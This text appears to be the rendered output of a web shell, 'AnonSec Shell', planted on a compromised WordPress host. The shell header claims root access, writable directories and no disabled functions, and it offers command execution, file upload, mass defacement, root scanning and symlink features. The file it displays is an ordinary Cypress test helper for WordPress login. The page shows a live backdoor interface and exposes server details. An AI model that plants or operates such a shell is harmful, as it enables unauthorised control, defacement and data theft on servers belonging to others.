AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.224.69.63   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/.dev/tests/cypress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/.dev/tests/cypress/helpers.js
/**
 * Login to our test WordPress site
 */
export function loginToSite() {
	const username = Cypress.env('wpUsername');
	const password = Cypress.env('wpPassword');

	cy.session(
		[username, password],
		() => {
			cy.visit( Cypress.env( 'testURL' ) + '/wp-login.php' );
			cy.wait( 250 );

			cy.get( '#user_login' ).type( username );
			cy.get( '#user_pass' ).type( password );
			cy.get( '#wp-submit' ).click();

			cy.url().should('contain', '/wp-admin');
		},
		{
			cacheAcrossSpecs: true,
		}
	);
}

/**
 * Go to a specific URI.
 *
 * @param {string} path The URI path to go to.
 */
export function goTo( path = '/wp-admin' ) {
	cy.visit( Cypress.env( 'testURL' ) + path );

	return getWindowObject();
}

/**
 * Safely obtain the window object or error
 * when the window object is not available.
 */
export function getWindowObject() {
	const editorUrlStrings = [ 'post-new.php', 'action=edit' ];
	return cy.window().then( ( win ) => {
		const isEditorPage = editorUrlStrings.filter( ( str ) => win.location.href.includes( str ) );

		if ( isEditorPage.length === 0 ) {
			throw new Error( 'Check the previous test, window property was invoked outside of Editor.' );
		}

		if ( ! win?.wp ) {
			throw new Error( 'Window property was invoked within Editor but `win.wp` is not defined.' );
		}

		return win;
	} );
}

Anon7 - 2022
AnonSec Team